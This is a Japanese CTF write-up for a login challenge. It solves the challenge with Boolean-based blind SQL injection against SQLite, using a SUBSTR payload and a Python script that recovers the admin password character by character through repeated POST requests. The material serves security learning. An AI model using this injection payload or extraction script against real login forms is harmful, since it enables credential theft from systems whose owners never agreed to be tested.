問題
解法
最初にソースコードを確認します。
特に参考になる情報はありませんでした。
ログインに成功しましたが、メッセージが出てきました。
フラグはadminのパスワードであることと、ヒントとして問題ページのPHPコードが表示されました。
PHPコードから下記のことがわかります。
- SQLiteを使用
-
user
というテーブルがある。 -
id
,pass
というカラムがある。 - ログイン失敗でエラーメッセージ表示
- ログイン成功(SQLインジェクションに成功)でCongratulations!ページを表示
このとき、ログイン可否に応じて結果が変化しているためBooleanベースの攻撃ができそうです。ブラインドSQLインジェクションとも呼ばれているみたいです。
Booleanベースの攻撃については参考文献1を参照してください。
参考文献を参考にadminのパスワードの最初の一文字目が'F'か確かめるSQL文を試してみます。
' OR SUBSTR((SELECT pass FROM user WHERE id='admin'), 1, 1)='F' --
上記のSQL文がPHPコード内のqueryに挿入されるとSQLiteには次のようなSQL文が渡されます。
SELECT * FROM user WHERE id='admin' AND pass='' OR SUBSTR((SELECT pass FROM user WHERE id='admin'), 1, 1)='F' --'
SUBSTR関数は指定した文字列の一部を切り出します。
よってここではidがadminであるユーザのpassの文字列の1文字目を切り出してFであるか確かめています。
(フラグフォーマットが'FLAG_XXXXX'であるためFです。)
いい感じに動いたので参考文献の自動化コードを本問題用に修正して実行してみます。
import string
import requests
url ="http://ctfq.u1tramarine.blue/q6/"
payload ="' OR SUBSTR((SELECT pass FROM user WHERE id='admin'),{0},1)='{1}' --"
chars = string.printable
flag = ''
for i in range(0, 1024):
for c in chars:
params = {'id' : 'admin', 'pass' : payload.format((i + 1), c)}
r = requests.post(url, data=params)
if "Congratulations" not in r.text:
if c == chars[-1]:
quit()
continue
flag += c
print(flag)
break
フラグが出ました。
参考